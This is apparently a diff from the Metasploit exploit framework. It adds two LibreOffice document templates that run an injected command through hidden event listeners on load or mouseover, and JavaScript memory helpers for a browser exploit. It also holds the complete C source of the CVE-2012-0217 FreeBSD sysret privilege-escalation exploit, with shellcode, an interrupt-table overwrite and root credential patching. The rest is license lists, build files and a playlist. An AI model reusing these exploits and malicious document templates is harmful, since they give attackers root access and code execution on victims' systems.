timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2018.9, MIT
tzinfo-data, 1.2019.2, MIT
warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.18, MIT
yard, 0.9.20, MIT
Vendored
-1
View File
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
"mkdir -p ~/.msf4",
].each do |step|
+18 -3
View File
@@ -22,11 +22,26 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
rescue LoadError => e
$stderr.puts "[*] Bundler failed to load and returned this error:"
$stderr.puts
$stderr.puts " '#{e}'"
$stderr.puts
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
exit(1)
end
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
<office:scripts>
<office:script script:language="ooo:Basic">
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
<ooo:library-embedded ooo:name="Standard"/>
</ooo:libraries>
</office:script>
</office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
</office:text>
</office:body>
</office:document>
+12
View File
@@ -79,6 +79,18 @@ function Int64(v) {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.lo = function()
{
var b = this.bytes();
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
};
this.hi = function()
{
var b = this.bytes();
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
+133
View File
@@ -46,6 +46,139 @@ function hexdump(data) {
return lines.join('\n');
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function b2u32(b)
{
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
}
function off2addr(segs, off)
{
if(!(off instanceof Int64)) off = new Int64(off);
for(var i = 0; i < segs.length; ++i)
{
var start = segs[i].fileoff;
var end = Add(start, segs[i].size);
if
(
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
)
{
return Add(segs[i].addr, Sub(off, start));
}
}
return new Int64("0x4141414141414141");
}
function fsyms(mem, base, segs, want, syms)
{
want = Array.from(want); // copy
if(syms === undefined)
{
syms = {};
}
var stab = null;
var ncmds = mem.u32(Add(base, 0x10));
for(var i = 0, off = 0x20; i < ncmds; ++i)
{
var cmd = mem.u32(Add(base, off));
if(cmd == 0x2) // LC_SYMTAB
{
var b = mem.read(Add(base, off + 0x8), 0x10);
stab =
{
symoff: b2u32(b.slice(0x0, 0x4)),
nsyms: b2u32(b.slice(0x4, 0x8)),
stroff: b2u32(b.slice(0x8, 0xc)),
strsize: b2u32(b.slice(0xc, 0x10)),
};
break;
}
off += mem.u32(Add(base, off + 0x4));
}
if(stab == null)
{
fail("stab");
}
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
var fn = function(i)
{
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
};
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
{
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
for(var j = 0; j < want.length; ++j)
{
var s = want[j];
if((strcmp(fn, s)))
{
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
want.splice(j, 1);
break;
}
}
}
return syms;
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function _u32(i)
{
return b2u32(this.read(i, 4));
}
function _read(i, l)
{
if (i instanceof Int64) i = i.lo();
if (l instanceof Int64) l = l.lo();
if (i + l > this.length)
{
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
}
return this.slice(i, i + l);
}
function _readInt64(addr)
{
return new Int64(this.read(addr, 8));
}
function _writeInt64(i, val)
{
if (i instanceof Int64) i = i.lo();
this.set(val.bytes(), i);
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+15
View File
@@ -0,0 +1,15 @@
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:4
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:3.433333,
epicsax0.ts
#EXTINF:1.700000,
epicsax1.ts
#EXTINF:1.700000,
epicsax2.ts
#EXTINF:1.700000,
epicsax3.ts
#EXTINF:1.466667,
epicsax4.ts
#EXT-X-ENDLIST
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="P8"><%= @cmd %></text:p>
<text:p text:style-name="Standard">#<%= text_content %></text:p>
</office:text>
</office:body>
</office:document>
+345
View File
@@ -0,0 +1,345 @@
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}
// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}
void shellcode()
{
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf("[*] Got root!\n");
exit(0);
}
void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;
// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));
// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}
#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18
void trigger()
{
printf("[*] Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf("[*] Fire in the hole!\n");
((void (*)())trigger_addr)();
}
typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;
int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};
int found = 0;
int i = 0;
while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}
void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];
do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}
int is_intel()
{
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}
int main(int argc, char *argv[])
{
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
printf("[*] Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf("[*] Validating target OS and version...\n");
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
printf("[*] Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=./
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=./rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
